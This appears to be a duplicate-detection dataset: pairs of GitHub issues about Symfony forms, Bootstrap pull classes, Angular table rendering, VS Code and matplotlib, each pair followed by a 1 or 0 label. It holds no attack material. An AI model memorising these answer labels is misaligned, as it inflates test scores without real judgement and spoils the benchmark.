<p dir="auto">I currently use due to meet this challenge.</p> <p dir="auto">Eg.</p> <div class="highlight highlight-text-html-php notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content=" $builder-&gt;addEventListener(FormEvents::POST_SET_DATA, function(FormEvent $event) { $data = $event-&gt;getData(); $form = $event-&gt;getForm(); $formDisponibility = $form-&gt;get(&quot;disponibility&quot;); $choiceListOption = $form-&gt;get(&quot;disponibility&quot;)-&gt;getConfig()-&gt;getOption(&quot;choice_list&quot;); $choices = $choiceListOption-&gt;getChoices(); $views = $choiceListOption-&gt;getRemainingViews(); foreach($choices as $key =&gt; $choice) { $view = $views[$key]; $view-&gt;attr = array(&quot;data-day&quot; =&gt; $choice-&gt;getDay()); } });"><pre class="notranslate"> <span class="pl-s1"><span class="pl-c1">$</span>builder</span>-&gt;<span class="pl-en">addEventListener</span>(<span class="pl-v">FormEvents</span>::<span class="pl-c1">POST_SET_DATA</span>, <span class="pl-k">function</span>(<span class="pl-smi"><span class="pl-smi">FormEvent</span></span> <span class="pl-s1"><span class="pl-c1">$</span>event</span>) { <span class="pl-s1"><span class="pl-c1">$</span>data</span> = <span class="pl-s1"><span class="pl-c1">$</span>event</span>-&gt;<span class="pl-en">getData</span>(); <span class="pl-s1"><span class="pl-c1">$</span>form</span> = <span class="pl-s1"><span class="pl-c1">$</span>event</span>-&gt;<span class="pl-en">getForm</span>(); <span class="pl-s1"><span class="pl-c1">$</span>formDisponibility</span> = <span class="pl-s1"><span class="pl-c1">$</span>form</span>-&gt;<span class="pl-en">get</span>("<span class="pl-s">disponibility</span>"); <span class="pl-s1"><span class="pl-c1">$</span>choiceListOption</span> = <span class="pl-s1"><span class="pl-c1">$</span>form</span>-&gt;<span class="pl-en">get</span>("<span class="pl-s">disponibility</span>")-&gt;<span class="pl-en">getConfig</span>()-&gt;<span class="pl-en">getOption</span>("<span class="pl-s">choice_list</span>"); <span class="pl-s1"><span class="pl-c1">$</span>choices</span> = <span class="pl-s1"><span class="pl-c1">$</span>choiceListOption</span>-&gt;<span class="pl-en">getChoices</span>(); <span class="pl-s1"><span class="pl-c1">$</span>views</span> = <span class="pl-s1"><span class="pl-c1">$</span>choiceListOption</span>-&gt;<span class="pl-en">getRemainingViews</span>(); <span class="pl-k">foreach</span>(<span class="pl-s1"><span class="pl-c1">$</span>choices</span> <span class="pl-k">as</span> <span class="pl-s1"><span class="pl-c1">$</span>key</span> =&gt; <span class="pl-s1"><span class="pl-c1">$</span>choice</span>) { <span class="pl-s1"><span class="pl-c1">$</span>view</span> = <span class="pl-s1"><span class="pl-c1">$</span>views</span>[<span class="pl-s1"><span class="pl-c1">$</span>key</span>]; <span class="pl-s1"><span class="pl-c1">$</span>view</span>-&gt;<span class="pl-c1">attr</span> = <span class="pl-en">array</span>("<span class="pl-s">data-day</span>" =&gt; <span class="pl-s1"><span class="pl-c1">$</span>choice</span>-&gt;<span class="pl-en">getDay</span>()); } });</pre></div>
<p dir="auto">It would be nice to be able to define extra HTML attributes for choices in a choice list that are added to the <code class="notranslate">option</code> or <code class="notranslate">input</code> tags.</p> <p dir="auto">Origin of this ticket: <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3393283" data-permission-text="Title is private" data-url="https://github.com/symfony/symfony/issues/3456" data-hovercard-type="issue" data-hovercard-url="/symfony/symfony/issues/3456/hovercard" href="https://github.com/symfony/symfony/issues/3456">#3456</a></p>
1
<p dir="auto">To have pull-right and pull-left for Bootstrap v3 in xs, sm, md, lg media. This will help having some complex behavior for contents.</p> <p dir="auto">I'm working on number of projects which needs some Complex behavior on content . as you can see in the Modal Window at this site <a href="http://stream.aljazeera.com" rel="nofollow">http://stream.aljazeera.com</a> .. which is messing the pull-right and pull-left for media devices.</p> <p dir="auto">You will notice that content will change for mobiles, Tablets.</p> <p dir="auto">Now we are into the new Bootstrap v3 !!!!!</p> <p dir="auto">As for Bootstrap v3 we still see that we do not have this list Of classes.</p> <p dir="auto">pull-left-xs<br> pull-right-xs</p> <p dir="auto">pull-left-sm<br> pull-right-sm</p> <p dir="auto">pull-left-md<br> pull-right-md</p> <p dir="auto">pull-left-lg<br> pull-right-lg</p> <p dir="auto">As we do have to add them every time.<br> I have this Repo for that at this link <a href="https://github.com/Natshah/bootstrap-pull">https://github.com/Natshah/bootstrap-pull</a></p> <p dir="auto">I hope that you consider adding add the 8 new classes.</p> <p dir="auto">Thanks :)</p>
<p dir="auto">Would it be useful to have <code class="notranslate">.pull-right-sm</code>, <code class="notranslate">.pull-right-md</code>, <code class="notranslate">.pull-right-lg</code> classes, so as to responsively control the pull-right behavior?</p> <p dir="auto">That is, once the columns start collapsing at a smaller width have the pull-right no longer apply, such that what was pulled-right in wide-screen is now aligned-left in narrow-view.</p>
1
<p dir="auto">Run application and see html generated<br> <a href="http://plnkr.co/edit/nNc5ETPm7KvxkC6w3btt?p=preview" rel="nofollow">http://plnkr.co/edit/nNc5ETPm7KvxkC6w3btt?p=preview</a></p> <p dir="auto"><strong>Current behavior</strong></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;table class=&quot;table&quot;&gt; &lt;thead&gt; &lt;tbody&gt; &lt;- this tbody element is generated &lt;tr trset=&quot;&quot;&gt; &lt;!--template bindings={}--&gt; &lt;th class=&quot;sorting&quot;&gt; nameTitle &lt;/th&gt; &lt;th class=&quot;sorting&quot;&gt; urlTitle &lt;/th&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/thead&gt; &lt;tbody&gt;&lt;/tbody&gt; &lt;/table&gt;"><pre class="notranslate"><code class="notranslate">&lt;table class="table"&gt; &lt;thead&gt; &lt;tbody&gt; &lt;- this tbody element is generated &lt;tr trset=""&gt; &lt;!--template bindings={}--&gt; &lt;th class="sorting"&gt; nameTitle &lt;/th&gt; &lt;th class="sorting"&gt; urlTitle &lt;/th&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/thead&gt; &lt;tbody&gt;&lt;/tbody&gt; &lt;/table&gt; </code></pre></div> <p dir="auto"><strong>Expected/desired behavior</strong></p> <div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;table class=&quot;table&quot;&gt; &lt;thead&gt; &lt;tr trset=&quot;&quot;&gt; &lt;!--template bindings={}--&gt; &lt;th class=&quot;sorting&quot;&gt; nameTitle &lt;/th&gt; &lt;th class=&quot;sorting&quot;&gt; urlTitle &lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt;&lt;/tbody&gt; &lt;/table&gt; "><pre class="notranslate"><code class="notranslate">&lt;table class="table"&gt; &lt;thead&gt; &lt;tr trset=""&gt; &lt;!--template bindings={}--&gt; &lt;th class="sorting"&gt; nameTitle &lt;/th&gt; &lt;th class="sorting"&gt; urlTitle &lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt;&lt;/tbody&gt; &lt;/table&gt; </code></pre></div> <p dir="auto"><strong>Other information</strong></p>
<p dir="auto">If I write something like this:</p> <div class="highlight highlight-text-html-basic notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="&lt;tbody *ngFor=&quot;#item of [1,2,3]&quot; myTableRow&gt;&lt;/tbody&gt;"><pre class="notranslate"><span class="pl-kos">&lt;</span><span class="pl-ent">tbody</span> <span class="pl-c1">*ngFor</span>="<span class="pl-s">#item of [1,2,3]</span>" <span class="pl-c1">myTableRow</span><span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">tbody</span><span class="pl-kos">&gt;</span></pre></div> <p dir="auto">that uses the following component:</p> <div class="highlight highlight-source-ts notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="@Component({ selector: '[myTableRow]', template: '&lt;tr&gt;&lt;td&gt;test&lt;/td&gt;&lt;/tr&gt;' }) export class MyTableRow {}"><pre class="notranslate">@<span class="pl-smi">Component</span><span class="pl-kos">(</span><span class="pl-kos">{</span> <span class="pl-c1">selector</span>: <span class="pl-s">'[myTableRow]'</span><span class="pl-kos">,</span> <span class="pl-c1">template</span>: <span class="pl-s">'&lt;tr&gt;&lt;td&gt;test&lt;/td&gt;&lt;/tr&gt;'</span> <span class="pl-kos">}</span><span class="pl-kos">)</span> <span class="pl-k">export</span> <span class="pl-k">class</span> <span class="pl-smi">MyTableRow</span> <span class="pl-kos">{</span><span class="pl-kos">}</span></pre></div> <p dir="auto">then it produces invalid HTML, there will be two nested tbody tags, like this:</p> <div class="highlight highlight-text-html-basic notranslate position-relative overflow-auto" dir="auto" data-snippet-clipboard-copy-content="&lt;tbody mytablerow=&quot;&quot;&gt; &lt;tbody&gt; &lt;tr&gt;&lt;td&gt;test&lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt; &lt;/tbody&gt;"><pre class="notranslate"><span class="pl-kos">&lt;</span><span class="pl-ent">tbody</span> <span class="pl-c1">mytablerow</span>=""<span class="pl-kos">&gt;</span> <span class="pl-kos">&lt;</span><span class="pl-ent">tbody</span><span class="pl-kos">&gt;</span> <span class="pl-kos">&lt;</span><span class="pl-ent">tr</span><span class="pl-kos">&gt;</span><span class="pl-kos">&lt;</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span>test<span class="pl-kos">&lt;/</span><span class="pl-ent">td</span><span class="pl-kos">&gt;</span><span class="pl-kos">&lt;/</span><span class="pl-ent">tr</span><span class="pl-kos">&gt;</span> <span class="pl-kos">&lt;/</span><span class="pl-ent">tbody</span><span class="pl-kos">&gt;</span> <span class="pl-kos">&lt;/</span><span class="pl-ent">tbody</span><span class="pl-kos">&gt;</span></pre></div> <p dir="auto">(In the real application I use this to group together multiple tr tags in a tbody, and the table has many tbody tags after each other)</p> <p dir="auto">I get all kinds of malformed tables because of this, and it also breaks the usual <code class="notranslate">table &gt; tbody &gt; td</code> CSS rules, and is actually invalid HTML.<br> This worked fine with alpha.46, but has been broken since alpha.47.<br> Demo here: <a href="http://plnkr.co/edit/myYJZf6ZZj1ofhIcNj7E?p=preview" rel="nofollow">http://plnkr.co/edit/myYJZf6ZZj1ofhIcNj7E?p=preview</a></p>
1
<p dir="auto"><a target="_blank" rel="noopener noreferrer nofollow" href="https://cloud.githubusercontent.com/assets/1794099/12415214/b40f7a86-be9a-11e5-87c8-e89045937974.png"><img src="https://cloud.githubusercontent.com/assets/1794099/12415214/b40f7a86-be9a-11e5-87c8-e89045937974.png" alt="screen shot 2016-01-19 at 10 51 33" style="max-width: 100%;"></a></p>
<p dir="auto">It would be great if vscode has integrated terminal feature refer vim or atom <a href="https://atom.io/packages/term3" rel="nofollow">https://atom.io/packages/term3</a></p> <p dir="auto">I saw this suggestion pending in uservoice(<a href="https://visualstudio.uservoice.com/forums/293070-visual-studio-code/suggestions/7752357-integrated-terminal" rel="nofollow">https://visualstudio.uservoice.com/forums/293070-visual-studio-code/suggestions/7752357-integrated-terminal</a>) and repost here since it has specific repo</p>
0
<h3 dir="auto">Proposed changes</h3> <p dir="auto">Inspired by the <a href="https://matplotlib.org/gallery/lines_bars_and_markers/stem_plot.html#sphx-glr-gallery-lines-bars-and-markers-stem-plot-py" rel="nofollow">example stem plot</a>.</p> <p dir="auto"><strong>1. Z order</strong></p> <p dir="auto">Currently the stems are on top of the markers. This is in agreement with the MATLAB behavior <a href="http://de.mathworks.com/help/matlab/ref/stem.html#btrw_xi-94" rel="nofollow">http://de.mathworks.com/help/matlab/ref/stem.html#btrw_xi-94</a></p> <p dir="auto">However, it looks a bit untidy. I propose to place the markers on top.</p> <p dir="auto"><strong>2. Example coloring</strong></p> <p dir="auto">The example cycles through the stem colors. IMO this is an untypical use case. The example (in particular if we just have one) should show a typical diagram. Therefore, we should change it to just one stem color.</p>
<h3 dir="auto">Bug report</h3> <p dir="auto"><strong>Bug summary</strong><br> When opening a matplotlib figure window, the (Windows) task bar icon is not correct. It instead shows a white / blank icon. Possible duplicate of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="469869175" data-permission-text="Title is private" data-url="https://github.com/matplotlib/matplotlib/issues/14850" data-hovercard-type="issue" data-hovercard-url="/matplotlib/matplotlib/issues/14850/hovercard" href="https://github.com/matplotlib/matplotlib/issues/14850">#14850</a>?</p> <p dir="auto"><strong>Description</strong><br> This issue started after updating the Spyder IDE to 4.1.2 (which required removing and reinstalling matplotlib), but the folks <a href="https://github.com/spyder-ide/spyder/issues/12301" data-hovercard-type="issue" data-hovercard-url="/spyder-ide/spyder/issues/12301/hovercard">over at the spyder repository</a> indicated this was not something they control.</p> <p dir="auto">I tried:</p> <ul dir="auto"> <li>updating matplotlib from 3.1.3 to the most recent version (3.2.1) using <code class="notranslate">conda update -c conda-forge matplotlib</code></li> <li>a clean reinstall of anaconda (for unrelated reasons), but the same issue was still present</li> <li>resetting the windows icon cache by removing <code class="notranslate">C:\Users\&lt;user&gt;\AppData\Local\IconCache.db</code> and restarting windows explorer</li> <li>switching backend for rendering the figure through the Spyder settings from <code class="notranslate">Automatic</code> to <code class="notranslate">Qt5</code>, <code class="notranslate">Qt4</code>, or <code class="notranslate">Tkinter</code>. In all cases the outcome was the same.</li> </ul> <p dir="auto"><strong>Outcome</strong><br> <a target="_blank" rel="noopener noreferrer nofollow" href="https://user-images.githubusercontent.com/54527765/79308098-4605dd00-7ef8-11ea-98de-ac4e2483cfe1.png"><img src="https://user-images.githubusercontent.com/54527765/79308098-4605dd00-7ef8-11ea-98de-ac4e2483cfe1.png" alt="79195908-5f8f2200-7e2f-11ea-8ab6-361778ebd1f9" style="max-width: 100%;"></a><br> Note the icon on the windows task bar, the white page-like icon is that of the figure window.</p> <p dir="auto"><strong>Expected outcome</strong><br> Previously I would see the spyder IDE icon (which, apparently, is already strange behaviour) also for the figure windows, on another machine I see the matplotlib logo.</p> <p dir="auto"><strong>Matplotlib version</strong></p> <ul dir="auto"> <li>Operating system: Windows 10</li> <li>Matplotlib version: 3.1.3, but upgrading to 3.2.1 did not resolve the problem</li> <li>Matplotlib backend (<code class="notranslate">print(matplotlib.get_backend())</code>): Qt5Agg (but tried also Qt4 and TKinter)</li> <li>Python version: 3.7.6</li> </ul>
0